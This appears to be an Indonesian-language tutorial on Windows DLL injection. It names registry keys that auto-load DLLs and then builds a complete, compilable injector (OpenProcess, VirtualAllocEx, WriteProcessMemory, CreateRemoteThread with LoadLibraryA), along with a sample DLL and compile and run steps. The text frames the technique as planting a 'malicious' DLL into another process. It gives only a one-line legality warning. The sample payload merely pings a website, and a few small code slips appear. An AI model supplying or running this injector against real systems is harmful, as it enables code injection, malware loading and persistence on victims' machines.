DLL Injection
DLL Injection adalah teknik untuk menyusupkan code ke dalam proses lain di Windows dengan cara menyisipkan file DLL ke proses target. Windows memang memberikan fitur ini untuk tujuan keamanan, sandboxing, dan juga pemrosesan grafik. Tetapi bisa juga disalahgunakan untuk menyusupkan file DLL yang 'jahat'. Kita dapat menggunakan serangkaian registry untuk melakukan teknik ini.
warning: hacking without permission is illegal
AppInit_DLLs
Path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
Semua DLL yang ada di registry ini akan diload ke proses yang menggunakan user.dll. Di Windows 8 ke atas, fitur ini mati secara default,
tetapi bisa diaktifkan lagi dengan registry tweak yang membutuhkan admin access:
RequireSignedAppInit_DLLs = 0 LoadAppInit_DLLs = 1
AppCertDlls
Path: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls
Semua DLL yang ada di registry ini akan diload ke proses yang membuat PROSES BARU. Contoh: kita akan membuat sebuah proses ketika membuka cmd.
Jika kita menulis perintah notepad, maka cmd akan membuat proses baru lagi untuk notepad.
Function-function yang digunakan untuk me-load DLL yang berada di registry ini:
- CreateProcess
- CreateProcessAsUser
- CreateProcessWithLogonW
- CreateProcessWithTokenW
- WinExec
ContextMenuHandlers
Path: HKEY_CURRENT_USER\Software\Classes\<AppName>\shellex\ContextMenuHandlers
Fungsi: DLL jadi shell extension di explorer.exe (biasanya buat nambah menu klik kanan).
Hands-on
Function-function yang biasa digunakan untuk DLL Injection:
OpenProcess()VirtualAllocEx()WriteProcessMemory()CreateRemoteThread()LoadLibraryA()
OpenProcess()
Fungsi nya untuk mengambil process dari PID target
/*
PID target
untuk melihat PID bisa menggunakan process informer
*/
DWORD pid = 420
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL) {
std::cout << "Failed to open process. Error: " << GetLastError() << "\n";
return 1;
}
std::cout << "Success! Process handle: " << hProcess << "\n";
CloseHandle(hProcess);
}
VirtualAllocEx()
Fungsinya untuk meng-alokasikan memori kosong di proses target, misal untuk menulis path DLL
const char* dllPath = "C:\\your\\path\\payload.dll";
SIZE_T dllLen = strlen(dllPath) + 1;
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, dllLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (remoteAddr == NULL) {
std::cout << "VirtualAllocEx failed. Error: " << GetLastError() << "\n";
} else {
std::cout << "Memory allocated at: " << remoteAddr << "\n";
}
WriteProcessMemory()
Fungsinya untuk menulis DLL tadi ke proses target
BOOL result = WriteProcessMemory(hProcess, remoteAddr, dllPath, dllLen, NULL);
if (!result) {
std::cout << "WriteProcessMemory failed. Error: " << GetLastError() << "\n";
} else {
std::cout << "DLL path written to remote process memory.\n";
}
CreateRemoteThread() + LoadLibraryA
Tujuannya adalah untuk membuat remote thread di proses target. remote thread adalah thread yang dibuat dari proses lain, tapi dijalankan di proses target.
Contohnya kita punya program injector.exe yang menyuruh proses lain (misal notepad.exe) untuk menjalankan LoadLibraryA("C:\\jahat.dll");.
Tapi notepad.exe sendiri tidak pernah secara sadar memanggil LoadLibraryA — tapi kita “menyusupkan” eksekusinya lewat remote thread.
Jadi begini untuk flow nya:
- Kita punya executable (
.exe) untuk meng-inject DLL jahat - executable ini akan menjalankan:
- OpenProcess() → untuk mendapaatkaan handle ke proses target (misal notepad.exe)
- VirtualAllocEx() → untuk inject memori ke target
- WriteProcessMemory() → untuk menulis string path DLL
- CreateRemoteThread() → untuk menyuruh proses target menjalankan
LoadLibraryA(jahat.dll)
apa yang dilakukan LoadLibraryA(jahat.dll)?
- Meload DLL jahat ke dalam proses target
- Memanggil DllMain() secara otomatis dengan DLL_PROCESS_ATTACH
Ilustrasi:
[injector.exe] [notepad.exe]
| |
|-- OpenProcess() ----->|
|-- VirtualAllocEx() -->|
|-- WriteProcessMemory->|
|-- CreateRemoteThread->| --> LoadLibraryA("jahat.dll")
|
| --> menjalankan DllMain()
| --> notepad sekarang sudah terkena inject💀
LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)loadLibraryAddr,
remoteAddr,
0,
NULL
);
if (hThread == NULL) {
std::cout << "CreateRemoteThread failed. Error: " << GetLastError() << "\n";
} else {
std::cout << "Remote thread created.\n";
WaitForSingleObject(hThread, INFINITE); // tunggu sampai thread selesai
CloseHandle(hThread);
}
Full Code (injector.cpp)
// injector.cpp
#include <windows.h>
#include <iostream>
#include <string>
int main(int argc, char* argv[]) {
if (argc < 3) {
std::cout << "Usage: injector.exe <pid> <path_to_dll>\n";
return 1;
}
DWORD pid = std::stoul(argv[1]); // Konversi string ke DWORD (unsigned long)
const char* dllPath = argv[2];
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL) {
std::cout << "Failed to open process. Error: " << GetLastError() << "\n";
return 1;
}
std::cout << "Success! Process handle: " << hProcess << "\n";
SIZE_T dllLen = strlen(dllPath) + 1;
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, dllLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (remoteAddr == NULL) {
std::cout << "VirtualAllocEx failed. Error: " << GetLastError() << "\n";
CloseHandle(hProcess);
return 1;
}
if (!WriteProcessMemory(hProcess, remoteAddr, dllPath, dllLen, NULL)) {
std::cout << "WriteProcessMemory failed. Error: " << GetLastError() << "\n";
VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
std::cout << "DLL path written to remote process memory.\n";
LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (loadLibraryAddr == NULL) {
std::cout << "GetProcAddress failed. Error: " << GetLastError() << "\n";
VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)loadLibraryAddr,
remoteAddr,
0,
NULL
);
if (hThread == NULL) {
std::cout << "CreateRemoteThread failed. Error: " << GetLastError() << "\n";
} else {
std::cout << "Remote thread created.\n";
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
Contoh DLL yang akan diinject (ping.cpp)
// ping.cpp
#include <windows.h>
#include <cstdlib>
#include <thread>
void run_ping() {
system("ping google.com");
}
extern "C" __declspec(dllexport)
BOOL __stdcall DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// Biar gak nge-freeze proses target, kita pake thread
std::thread(run_ping).detach();
}
return TRUE;
}
Sentuhan Akhir
compile ping.cpp menjadi DLL
g++ -shared -o ping.dll dll_ping.cpp -static-libgcc -static-libstdc++
compile injector.cpp
g++ -o injector injector.cpp
Sekarang buka aplikasi apa saja, contoh paling gampang adalah notepad. Setelah itu cari PID nya berapa, bisa dengan system informer. Setelah itu jalankan
injector.exe PID ping.dll
Hasil:

